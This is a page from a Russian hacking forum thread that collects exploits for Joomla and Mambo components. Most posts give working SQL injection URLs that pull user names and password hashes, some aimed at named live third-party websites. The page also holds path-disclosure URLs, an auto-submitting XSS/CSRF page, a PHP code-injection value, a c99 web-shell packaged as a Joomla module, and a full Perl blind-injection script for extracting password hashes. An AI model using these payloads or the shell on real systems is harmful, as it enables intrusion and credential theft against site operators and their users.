Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Уязвимость: SQL-Inj
    Компонент: DJ Catalog
    Версия: 1.0.4
    Требования: magic_quotes_gpc = off
    Файл: /components/com_djcatalog/models/show.php
    PHP:
        function getAllElements(){
                
                global 
    $mainframe;
            
    $par =& $mainframe->getParams('com_djcatalog');
            
                
    $limit        $par->get('limit_items_show');
                
                
    $limitstart    JRequest::getVar('limitstart'0'''int');
                
    $producer_id JRequest::getVar('pid'0'''int');
                
    $search '';
                if(
    JRequest::getVar('search','0','string')!='0'){
                    
    $search " AND name LIKE '%".JRequest::getVar('search','0','string')."%' ";
                }
                
                
    $producer '';
                if(
    $producer_id){
                    
    $producer ' AND producer_id LIKE '.$producer_id'';
                }
                
    $order JRequest::getVar('order');
                
    $db= &JFactory::getDBO();
                switch (
    $order) { ... }
                
    $query "SELECT * FROM #__djcat_items WHERE 1 ".$producer.$search.$orderQuery;
                
    $db->setQuery($query);
                
    $Arows $this->_getList($query$limitstart$limit);    

                return 
    $Arows;
        }
    Эксплойт:
    Code:
    /index.php?option=com_djcatalog&view=show&search='+and+0+union+select+1,2,3,username,5,password,7,8,9,10,11+from+%23__users%23
     
    5 people like this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Раскрытие Путей
    Компонент : jevents
    Code:
    index.php?option=com_jevents&task=icalrepeat.detail[color=red]&evid[]=33[/color]&Itemid=0&year=2009&month=11&day=03&uid=d3e68405af27abcc1522182b0970abc0
    __http://www.ccebc.com/index.php?option=com_jevents&task=icalrepeat.detail&evid[]=100&Itemid=0&year=2009&month=11&day=11&uid=455d8ad5611ba60fdf1eaab2215e324c&lang=us

    сорцов нет, наткнулся просто
     
    _________________________
    #162 HAXTA4OK, 8 Nov 2009
    Last edited: 8 Nov 2009
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Уязвимость : SQL
    Компонент : com_rsgallery2
    Версия : N/A

    Code:
    index.php?option=com_rsgallery2&Itemid=1&page=inline&id=9&catid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--&limitstart=1
    __http://etherealangels.com/index.php?option=com_rsgallery2&Itemid=1&page=inline&id=9&catid=-1+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13--&limitstart=1


    __http://etherealangels.com/index.php?option=com_rsgallery2&Itemid=1&page=inline&id=9&catid=-1+union+select+1,2,3,4,concat_ws(0x3a,username,password),6,7,8,9,10,11,12,13+from+jos_users--&limitstart=1

    куча логов и пассов

    ЗЫ вроде не видел ни где
     
    _________________________
    #163 HAXTA4OK, 8 Nov 2009
    Last edited: 8 Nov 2009
    5 people like this.
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Раскрытие путей
    Компонент : com_jshopping

    Code:
    index.php?option=com_jshopping&task=product&product_id[]=27&category_id=8&Itemid=7
    Code:
    index.php?option=com_jshopping&task=product&product_id=27&category_id[]=8&Itemid=7
    __http://www.fitofilter.com/index.php?option=com_jshopping&task=product&product_id[]=27&category_id=8&Itemid=7

    __http://polimobil.md/index.php?option=com_jshopping&task=product&product_id=18&category_id[]=11&Itemid=69
     
    _________________________
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Уязвимость : Blind - SQL
    Компонент : com_ci

    Code:
    index.php?option=com_ci&task=viewCi&sector_id=77+and+substring(version(),1,1)=4&m=m&Itemid=1210&send2friend=index.php%3Foption%3Dcom_ci%26task%3DviewCi%26sector_id%3D77%26m%3Dm%26Itemid%3D1210
    false: _http://www.hkz.nl/index.php?option=com_ci&task=viewCi&sector_id=77+and+substring(version(),1,1)=4&m=m&Itemid=1210&send2friend=index.php%3Foption%3Dcom_ci%26task%3DviewCi%26sector_id%3D77%26m%3Dm%26Itemid%3D1210

    True: _http://www.hkz.nl/index.php?option=com_ci&task=viewCi&sector_id=77+and+substring(version(),1,1)=5&m=m&Itemid=1210&send2friend=index.php%3Foption%3Dcom_ci%26task%3DviewCi%26sector_id%3D77%26m%3Dm%26Itemid%3D1210
     
    _________________________
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Уязвимость : Blind - SQL
    Компонент : com_acprojects

    true : _http://www.artcom.de/index.php?lang=en&option=com_acprojects&id=17+and+substring(version(),1,1)=4&Itemid=115&page=6

    False : _http://www.artcom.de/index.php?lang=en&option=com_acprojects&id=17+and+substring(version(),1,1)=5&Itemid=115&page=6

    Компонент : com_acnews
    _http://www.artcom.de/index.php?option=com_acnews&task=view&id=449+and+substring(version(),1,1)=4--&Itemid=136&page=0&lang=en

    SQL
    Компонент : com_acjobs
    _http://www.artcom.de/index.php?option=com_acjobs&Itemid=-120+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--&lang=en

    вывод в title

    PS на еще одном не пашут скули =\ мб версия другая))
     
    _________________________
    #166 HAXTA4OK, 9 Nov 2009
    Last edited: 9 Nov 2009
    1 person likes this.
  7. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    компонент: com_kunena
    версии: качал последние две (Kunena1.5.6, Kunena1.5.5)
    file: default/plugin/userlist/userlist.php
    Code:
    ...
        $orderby = JRequest::getVar('orderby', 'registerDate');
        $direction = JRequest::getVar('direction', 'ASC');
        $search = JRequest::getVar('search', '');
        ...//ещё переменные & формирование 1го $query
        if ($search != "") {
            $query .= " WHERE (u.name LIKE '%$search%' OR u.username LIKE '%$search%')";
        }
    
        $kunena_db->setQuery($query);
        $total = $kunena_db->loadResult();
        ... //определение 2-го $query
        if ($search != "")
        {
            $query .= " WHERE (name LIKE '%$search%' OR username LIKE '%$search%')";
            $query_ext .= "&search=" . $search;
        }
    
        $query .= " ORDER BY $orderby $direction, id $direction";
        ... // +limit
        $kunena_db->setQuery($query);
    ...
    описание getvar() из класса JRequest здесь
    решение:
    $search=addslashes(JRequest::getVar('search',''));
    для $orderby & $direction использовать switch
    эксплуатация:
    ?search='){inj} //magic_quotes_gps off
    ?orderby={inj}
    ?direction=,{inj}
     
    6 people like this.
  8. Asylum

    Asylum New Member

    Joined:
    14 Nov 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Не я нашел, это с jhttp://joomla-support.ru/showthread.php?p=75180#post75180 соб - сно
    Всем привет.

    Нашел баг в sh404SEF. плохая фильтрация значений параметров
    версия: 1.0.20_Beta - build_237

    в админке при сохранении настроек компонента. я спалил на параметре Insert before page title.
    если поставить значение например такое:
    \"; echo 'test'; "Формос ТК официальный дистрибъютор 3М. то сл. можно выполнить любую функцию в джумле и на php, например вывод значения из configuration.php и т.п. или удаление файлов и т.п.

    вообщем такое дело. будьте осторожны!
     
  9. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    Joomla Joaktree Component v1.0 SQL Injection Vulnerability

    Author: Don Tukulesto

    Published: 2009-12-01

    http://extensions.joomla.org/extensions/miscellaneous/genealogy/9842

    Version() : 1.0

    Vulnerability : SQL injection

    http://server/index.php?option=com_joaktree&view=joaktree&treeId=[SQL]

    [ Exploit ]

    -1+union+select+1,1,1,version(),1,666,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1+from+jos_users--
     
  10. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    может кому нить пригодиться последнаяя версия джумла Joomla_1.5.15-Stable-Full_Package.zip
    у себя проверил


    наш путь:

     
    #170 Strilo4ka, 7 Dec 2009
    Last edited: 7 Dec 2009
    3 people like this.
  11. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Бесполезная бага в Joomla или "логическая sql-инъекция"

    Взглянем на скрипт \joomla\administrator\components\com_users\views\users\view.html.php.
    Там есть такой участок:
    PHP:
            $query 'SELECT a.*, g.name AS groupname'
                
    ' FROM #__users AS a'
                
    ' INNER JOIN #__core_acl_aro AS aro ON aro.value = a.id'
                
    ' INNER JOIN #__core_acl_groups_aro_map AS gm ON gm.aro_id = aro.id'
                
    ' INNER JOIN #__core_acl_aro_groups AS g ON g.id = gm.group_id'
                
    $filter
                
    $where
                
    ' GROUP BY a.id'
                
    $orderby
            
    ;
    Выше определена переменная $orderby:
    PHP:
            $orderby ' ORDER BY '$filter_order .' '$filter_order_Dir;
    Причём переменные $filter_order и $filter_order_Dir определяются пользователем.
    В админке во всех секциях есть hidden-поля в формах с этими переменными.
    Что ж, подставим левые значения, например, asd и fgh соответственно: http://localhost/joomla/administrator/index.php?option=com_content&filter_order=asd&filter_order_Dir=fgh
    Получаем следующий ответ:
    Code:
    500 - An error has occurred! 
    
    DB function failed with error number 1064
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[b]fgh[/b], section_name, cc.title, c.ordering LIMIT 0, 20' at line 1 SQL=SELECT c.*, g.name AS groupname, cc.title AS name, u.name AS editor, f.content_id AS frontpage, s.title AS section_name, v.name AS author FROM jos_content AS c LEFT JOIN jos_categories AS cc ON cc.id = c.catid LEFT JOIN jos_sections AS s ON s.id = c.sectionid LEFT JOIN jos_groups AS g ON g.id = c.access LEFT JOIN jos_users AS u ON u.id = c.checked_out LEFT JOIN jos_users AS v ON v.id = c.created_by LEFT JOIN jos_content_frontpage AS f ON f.content_id = c.id WHERE c.state != -2 ORDER BY [b]asd[/b] [b]fgh[/b], section_name, cc.title, c.ordering LIMIT 0, 20
    Как мы видим, наши значения попали в sql-запрос. Но они всё же фильтруются - большая часть спецзнаков не пропускается, разрешены, например, точки, поскольку они нужны в нормальном запросе.
    Казалось бы, из такой "sql-инъекции" ничего кроме префикса таблиц не выжать.
    Однако, просмотрим админку и увидим страницу управления пользователями: http://localhost/joomla/administrator/index.php?option=com_users
    Вышеупомянутые параметры в этой секции используются для сортировки пользователей (подставляются в ORDER BY).
    И тут внезапно: а что если отсортировать их по паролю?
    Ну: http://localhost/joomla/administrator/index.php?option=com_users&filter_order=a.password
    Теперь можно создать пользователя, сделать ему какой-то пароль, затем отсортировать на этой странице, и мы увидим, где по алфавиту находится хеш админа - выше или ниже хеша нашего пользователя.
    Далее можно организовать бинарный поиск и вытащить весь хеш админа.
    Конец.

    P.S. Разумеется, эта бага в Joomla совершенно ничего не даёт, поскольку она в админке, а xsrf там нет. Я написал про неё лишь для того, чтобы показать саму возможность подобных атак. Такая ситуация может возникнуть, например, в форумном движке, где список пользователей может быть доступен каждому. Мораль: переменные надо не только фильтровать на спецсимволы, но и проверять введённые данные на логическую совместимость.

    P.P.S. В vbulletin, например, скрипт memberlist.php ограничивает параметры для сортировки:
    PHP:
        switch ($sortfield)
        {
            case 
    'username':
                
    $sqlsort 'user.username';
                break;
            case 
    'joindate':
                
    $sqlsort 'user.joindate';
                break;
            case 
    'posts':
                
    $sqlsort 'user.posts';
                break;
            case 
    'lastvisit':
                
    $sqlsort 'lastvisittime';
                break;
            case 
    'reputation':
                
    $sqlsort iif($show['reputationcol'], 'reputationscore''user.username');
                
    $secondarysortsql ', user.username';
                break;
            case 
    'age':
                if (
    $show['agecol'])
                {
                    
    $sqlsort 'agesort';
                    
    $secondarysortsql ', user.username';
                }
                else
                {
                    
    $sqlsort 'user.username';
                }
                break;
            default:
                
    $sqlsort 'user.username';
                
    $sortfield 'username';
        }
     
    #171 Root-access, 6 Jan 2010
    Last edited: 6 Jan 2010
  12. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    Модуль шелла для joomla

    Может кому нить пригодится, сам много раз сталкивался с проблемами заливки шелла с админки из за кривых привилегии,
    вот сделал простенький модуль mod_joomla_c99shell

    1) Заходим в "Менеджер расширений" выбираем "Загрузить файл пакета" загружаем наш файл mod_joomla_c99shell.zip
    2) После удачного инсталла переходим в папку http://site.ru/modules/mod_joomla_c99shell/mod_joomla_c99shell.php
    3) Заходим на наш шелл логин fixer пароль antichat (после можете поменять все там на свое усмотрение)

    Модуль шелла можете скачать тут тестировал на Joomla 1.5.14
     
    _________________________
    #172 shell_c0de, 7 Jan 2010
    Last edited: 7 Jan 2010
    6 people like this.
  13. 4p3

    4p3 Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    142
    Likes Received:
    30
    Reputations:
    0
    #173 4p3, 8 Jan 2010
    Last edited: 8 Jan 2010
    4 people like this.
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Файл : com_oscommerce
    Уязвимость : LFI
    сорри исходники так и не нашел

    Особая фаза луны : Magic_qoutes = off

    https://www.naadac.org/index.php?option=com_oscommerce&osMod=product_info'

    Dopk:
    Ам, вроде не боян, если баян ,то удалите..
     
    _________________________
    5 people like this.
  15. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    From ROA

    Joomla XSS

    XSS присутствует в компоненте com_admin.

    Уязвимая строчка в \joomla\administrator\components\com_admin\admin.admin.html.php:
    PHP:
    <input type="text" name="helpsearch" value="<?php echo $helpsearch;?>" class="inputbox" />
    Заходим на http://localhost/joomla/administrator/index.php?option=com_admin&task=help.
    Там есть поле для поиска. Текст из него не htmlspecialchar-ится, но какая-то странная фильтрация есть.
    Почему-то, если набрать, скажем, так: "><img src="blabla....., этот тег обрезается, то есть написать новый тег у меня не получилось.
    Что ж, приходится обходиться свойствами тега <input>.
    XSS в post-параметре админки, поэтому она не работала бы без XSRF.
    Собственно, сплойт:

    Code:
    <html>
    <body>
    <form action="http://localhost/joomla/administrator/index.php?option=com_admin&amp;task=help" method="post" name="adminForm">
    <input class="text_area" type="hidden" name="option" value="com_admin" />
    <input type="text" name="helpsearch" value='" size="1000" onmouseover="alert()' class="inputbox" />
    <input type="submit" value="Go" class="button" id="xsrf"/>
    <input type="hidden" name="task" value="help" />
    </form>
    <script>document.getElementById("xsrf").click();</script>
    </body>
    </html>
    

    В чём суть: я сделал так, чтобы поле поиска стало длинным, так что, если админ проведёт мышкой по экрану, сработает xss. Вероятность этого весьма велика.
     
  16. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    Уязвимость: SQL-Inj
    Компонент: com_ezautos (проверял на v3.2.0)
    Dopk: inurl:com_ezautos inurl: option
    Файл: /components/com_ezautos/ezautos.php

    PHP:
    switch ($task){

        case 
    'helpers':
        
    helpers($_REQUEST['id']);
        break;

     }

    .......

    function 
    helpers($id){
    global 
    $database$mainframe;

    switch (
    $id) {
      case 
    '1':

      if(isset(
    $_GET['firstCode'])){

        
    $query "SELECT * FROM #__ezautos_model WHERE published='1' AND makeid=".$_GET['firstCode']." ORDER BY model DESC";
        
    $database->setQuery$query );
        
    $rows $database->loadObjectList();
                 echo 
    "obj.options[obj.options.length] = new Option('Select Model','0');\n";
        foreach (
    $rows as $row){
                 echo 
    "obj.options[obj.options.length] = new Option('".$row->model."','".$row->moid."');\n";
        }
      }

      break;
    }

    }
    http://www.sfauto.ru/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1+and+0+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+%23__users+where+gid=25+or+gid=24+and+block<>1--
     
    9 people like this.
  17. GivioN

    GivioN Elder - Старейшина

    Joined:
    30 Mar 2008
    Messages:
    45
    Likes Received:
    10
    Reputations:
    0
    SQL Injection в стандартных компонентах
    1) Joomla Component com_wrapper
    2) com_weblinks
    3) com_xmap
     
    2 people like this.
  18. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Joomla XSS

    XSS наподобии той, что в посте #103, но удобнее:

    Code:
    http://localhost/administrator/index.php?option=com_content&search=%22%20size=100%20onmouseover=alert()%20bla
    Никаких CSRF и post не нужно
     
    1 person likes this.
  19. NeoX

    NeoX Elder - Старейшина

    Joined:
    23 Aug 2008
    Messages:
    65
    Likes Received:
    21
    Reputations:
    5
    товарищи, кто подскажет как узнать полную версию Joomla? вариант с configuration.php-dist не прокатит.
     
    1 person likes this.
  20. radcor

    radcor New Member

    Joined:
    10 Apr 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Blind SQL Injection joomla component com_mytube (user_id)

    PHP:
    #!/usr/bin/perl -w

    #---------------------------------------------------------------------------------
    #joomla component com_mytube (user_id) Blind SQL Injection Vulnerability
    #---------------------------------------------------------------------------------

    #Author         : Chip D3 Bi0s
    #Group          : LatiHackTeam
    #Email          : chipdebios[alt+64]gmail.com
    #Date           : 15 September 2009
    #Critical Lvl   : Moderate
    #Impact            : Exposure of sensitive information
    #Where            : From Remote
    #---------------------------------------------------------------------------

    #Affected software description:
    #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    #Application   : MyRemote Video Gallery
    #version       : 1.0 Beta 
    #Developer     : Jomtube Team
    #License       : GPL            type  : Non-Commercial
    #Date Added    : Aug 24, 2009
    #Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip
    #Description   :

    #MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x
    #which will allow you to transform your Website into a professional looking Video
    #Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery
    #is an open source (GNU GPL) video sharing Joomla extension has been created
    #specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla.

    #MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers
    #the Framework so you can create your own Remote Plugins for other Remote Servers like
    #Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to
    #run your site for low cost since all the bandwidth usage and hard drive space is located
    #on the video server sites. So if you already have a large library of Videos on some
    #Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly.

    #---------------------------------------------------------------------------


    #I.Blind SQL injection (user_id)
    #Poc/Exploit:
    #~~~~~~~~~~~
    #http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null
    #X: Valid User_id

    #+++++++++++++++++++++++++++++++++++++++
    #[!] Produced in South America
    #+++++++++++++++++++++++++++++++++++++++


    use LWP::UserAgent;
    use 
    Benchmark;
    my $t1 = new Benchmark;

    system ('cls');
    print 
    "\n\n";
    print 
    "\t\t[+] ---------------------------------[+]\n";
    print 
    "\t\t|          |  Chip d3 Bi0s |          |\n";
    print 
    "\t\t|        MyRemote Video Gallery Bsql  | \n";
    print 
    "\t\t|joomla component com_mytube (user_id)| \n";
    print 
    "\t\t[+]----------------------------------[+]\n\n";


    print 
    "http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\n";chomp(my $target=<STDIN>);

    $w="Total Videos In Category";
    $column_name="concat(password)";
    $table_name="jos_users";


    $b LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

    print 
    "----------------Inyectando----------------\n";


      
    $host $target "+and+1=1&option=com_mytube&Itemid=null";
      
    my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
      if (
    $content =~ /$regexp/) {

    $host $target "+and+1=2&option=com_mytube&Itemid=null";
      
    my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
      if (
    $content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}

    else

    {print 
    " [-] Vulnerable :)\n";

    $d=0;


    for (
    $idusuario=62;$idusuario<=80;$idusuario++) 

    {
                        
     
    $host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$idusuario."+limit+0,1),1,1))>0&option=com_mytube&Itemid=null";
     
    my $res $b->request(HTTP::Request->new(GET=>$host));
     
    my $content $res->content;
     
    my $regexp $w;
     if (
    $content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1}

     }

     print 
    " [+] Usuario existentes : "." ".join(',', @idusu) . "\n";

    print  
    " [-] # Usuario que desea extraer : ";chomp($iduss=<STDIN>);

    for (
    $x=1;$x<=32;$x++) 
        {

      
    $host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))>57&option=com_mytube&Itemid=null";
      
    my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
      print 
    " [!] ";if($x <= ) {print "0$x";}else{print $x;}
      if (
    $content =~ /$regexp/)
      {
      
              for (
    $c=97;$c<=102;$c++) 

    {
     
    $host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
     
    my $res $b->request(HTTP::Request->new(GET=>$host));
     
    my $content $res->content;
     
    my $regexp $w;


     if (
    $content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"$c=102;}
     }


      }
    else
    {

    for (
    $c=48;$c<=57;$c++) 

    {
     
    $host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
     
    my $res $b->request(HTTP::Request->new(GET=>$host));
     
    my $content $res->content;
     
    my $regexp $w;

     if (
    $content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"$c=57;}
     }


    }

        }

    print 
    " [+] Password   :"." ".join('', @caracter) . "\n";

    my $t2 = new Benchmark;
    my $tt timediff($t2$t1);
    print 
    "El script tomo:",timestr($tt),"\n";

    }
    }

    else

    {print 
    " [-] Exploit Fallo :(\n";}
    milw0rm.com [2009-09-21]
     
    1 person likes this.